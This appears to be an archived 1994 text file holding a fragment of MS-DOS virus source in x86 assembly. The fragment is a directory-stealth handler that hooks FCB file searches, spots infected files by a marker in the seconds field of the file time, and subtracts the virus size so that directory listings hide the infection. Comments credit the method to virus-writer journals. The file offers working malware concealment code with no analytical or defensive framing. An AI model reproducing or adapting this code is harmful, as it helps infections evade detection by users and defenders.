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Text File  |  1994-02-03  |  2.9 KB  |  40 lines
  1. ;*****************************************************
  2. dir_s:                                                               
  3.              pushf                                                         
  4.              push    cs                                                    
  5.              call    a3                      ;Get file Stats                       
  6.              test    al,al                   ;Good FCB?                            
  7.              jnz     no_good                 ;nope                                 
  8.              push    ax                                                 
  9.              push    bx                                                    
  10.              push    es                                                    
  11.              mov     ah,51h                  ;Is this Undocmented? huh...          
  12.              int     21h                                                   
  13.              mov     es,bx                                                 
  14.              cmp     bx,es:[16h]                                           
  15.              jnz     not_infected                        
  16.              mov     bx,dx                                                 
  17.              mov     al,[bx]                                               
  18.              push    ax                                                    
  19.              mov     ah,2fh                   ;Get file DTA                         
  20.              int     21h                                                   
  21.              pop     ax                                                    
  22.              inc     al                                                    
  23.              jnz     fcb_okay                                              
  24.              add     bx,7h                                                 
  25. fcb_okay:    mov     ax,es:[bx+17h]                                   
  26.              and     ax,1fh                   ;UnMask Seconds Field                 
  27.              xor     al,byte ptr cs:fechad                                      
  28.              jnz     not_infected                                            
  29.              and     byte ptr es:[bx+17h],0e0h                            
  30.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  31.              sbb     es:[bx+1fh],ax                                        
  32. not_infected:pop     es                                                    
  33.              pop     bx                                                    
  34.              pop     ax                                                    
  35. no_good:     iret                                                          
  36. ;********************************************************************
  37. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  38. ;*********************************************************************
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